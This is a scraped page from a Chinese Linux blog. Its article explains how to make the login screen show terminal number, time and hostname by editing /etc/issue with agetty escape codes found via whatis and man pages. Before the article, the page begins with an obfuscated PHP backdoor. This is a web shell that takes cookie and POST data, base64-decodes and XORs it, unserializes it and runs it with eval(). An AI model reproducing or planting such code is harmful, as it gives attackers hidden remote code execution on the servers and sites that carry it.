$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 由Linux中一个小问题引发的思考 | Linux运维部落

由Linux中一个小问题引发的思考

一、一个小问题

1、在学习Linux中我们经常会遇到很多有趣的小问题,今天笔者就遇到了一个很有意思的小问题,现在分享给大家:

     “如何在本机字符终端登陆时,除显示原有信息外,再显示当前终端号,时间和主机名?”

2、实现方法如下:

     输入vim /etc/issue 进入文件编辑

     在第一行输入HOSTNAME\n    TERMINALl    TIME:\t  如下

由Linux中一个小问题引发的思考

         输入:wq 保存并离开 

         重新登陆便可以看到效果:

  由Linux中一个小问题引发的思考

 

二、解体思路

  对于刚接触Linux的新手来说,怎么在不太了解Linux指令的情况下做出这道题呢?下面就让我们一起看一下:

1、首先,在我们不理解的issue是什么东东的情况下,先查询一下具体含义非常有用,这时候就用到了whatis,我们输入whatis issue,字面意思就是“issue是什么?”我们看一下输出:

 由Linux中一个小问题引发的思考

 解释为:issue是预登录时的信息和标识文件。而且,在其前方有个(5),这个表示我们通过其得到更多帮助。

2、我们通过man帮助,进行更详细的信息收集,输入man 5 issue,得到更多的信息。

由Linux中一个小问题引发的思考

    我们可以看到有几个解释,分类为:NAME名字,DESCRIPTION描述,FILES文件位置,SEE ALSO可供参考项,COLOPHON 版权记录这几项,我们直奔重点先看描述项,通过描述我们知道, /etc/issue 是一个文本文件,它包含了在登录提示符出现之前显示的信息或者系统标识.如果 getty(1) 支持的话,它可能包括多个 @char \char 序列。简单来说,我们可以通过编辑这个文本,让其显示出我们让它显示的内容。但是具体方法并没有涉及。这时候SEE ALSO项就起作用了,我们上面说了这是一个可供参考项,那么我们就再利用man命令查询一下,查询之前输入q退出页面。

3、输入man 8 agetty,可以看到非常多的解释。

 由Linux中一个小问题引发的思考

我们继续直奔主题,继续向下翻页。

由Linux中一个小问题引发的思考

    到了ISSUE ESCAPESISSUE转义,描述是这样的:这个issue-file包括某些转义字符,来展示系统的名称,时间和日期等等。字符在输入时,要紧跟在’\‘后。这下就明白了,下面就是我们要找的那些主机名、终端号和时间的缩写输入。下面可以看到有很多的缩写解释,仔细观察我们可以看到:l代表输出ttyn代表输入hostnamet代表输入时间。

4、那么我们就可以通过编写issue文件输入缩写字符来实现我们想要的结果。

     通过vim /etc/issue修改预登录页面信息。如下,输入我们找到的缩写。

 由Linux中一个小问题引发的思考

 输入完成后利用:wq,保存并离开。然后重新登陆时,可以看到预登录界面已经显示我们需要的信息了。

 由Linux中一个小问题引发的思考

后记:

 不知道大家通过这个例子学到了什么没有。对于我这个linux小白来说,通过这道题,完全明白了如何利用man帮助来查询自己想要的信息呢。

 分享给大家,希望有所帮助。

原创文章,作者:OscaoChaser,如若转载,请注明出处:http://www.178linux.com/81397

(1)
上一篇 2017-07-16 21:04
下一篇 2017-07-16 21:45

相关推荐

  • 【LINUX编译安装程序】Centos7.4编译安装httpd 2.4.29

    举例:Centos7.4编译安装httpd 2.4.29

    Linux干货 2018-03-17
  • sed与vim浅析

    sed与vim sed Stream EDitor, 行编辑器,sed是一种流编辑器,它一次处理一行内容。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”( pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有改变,除非你使用重定向存储输出。…

    Linux干货 2016-08-10
  • Linux文档的压缩与打包

    Linux文档的压缩与打包 概述 compress和uncompress gzip压缩工具 bzip2压缩工具 zip压缩工具 tar压缩工具 cpio压缩工具(主要用来备份还原) Linux文档的压缩与打包 概述 本章将介绍Linux系统中的压缩和解压缩的工具,以及归档工具(tar,cpio) compress/uncompress:   &nb…

    Linux干货 2016-09-06
  • top,htop,ps,dstat命令的使用

    top top是一个动态显示过程,即可跟据用户的按键不断刷新当前状态,top命令提供了实时的对当前系统的状态监视。 top – 11:53:40 up 11 days, 13:32,  3 users,  load average:&nbs…

    Linux干货 2017-03-15
  • Linux的发展史

    引言: 开源是什么?什么是Unix 、Linux ?这两种操作系统又有什么关联?    大家当前在用最常见的电脑系统是眼前的Windows ,但为何我们要花学习Linux 的发展史? 通过下面的介绍,我们能大致了解互联网发展的一些问题,以及Linux和Unix的基本概念、历史、发展情况。 一、操作系统介绍 内核(kernel)负责控制硬…

    Linux干货 2016-10-19
  • Linux学习之数据重定向

    大纲: 一、数据重定向定义 二、数据重定向分类 三、数据重定向作用 四、示例 一、数据重定向:命令的运行的结果默认输出在监视器上,重定向就是把这个结果输出到其它地方或其它文件。 二、数据重定向分类: 1.标准输出: (standard output,简称stdout,代码为 1 ,使用 > 或 >>):命令执行成功输出的正确提示信…

    Linux干货 2015-06-24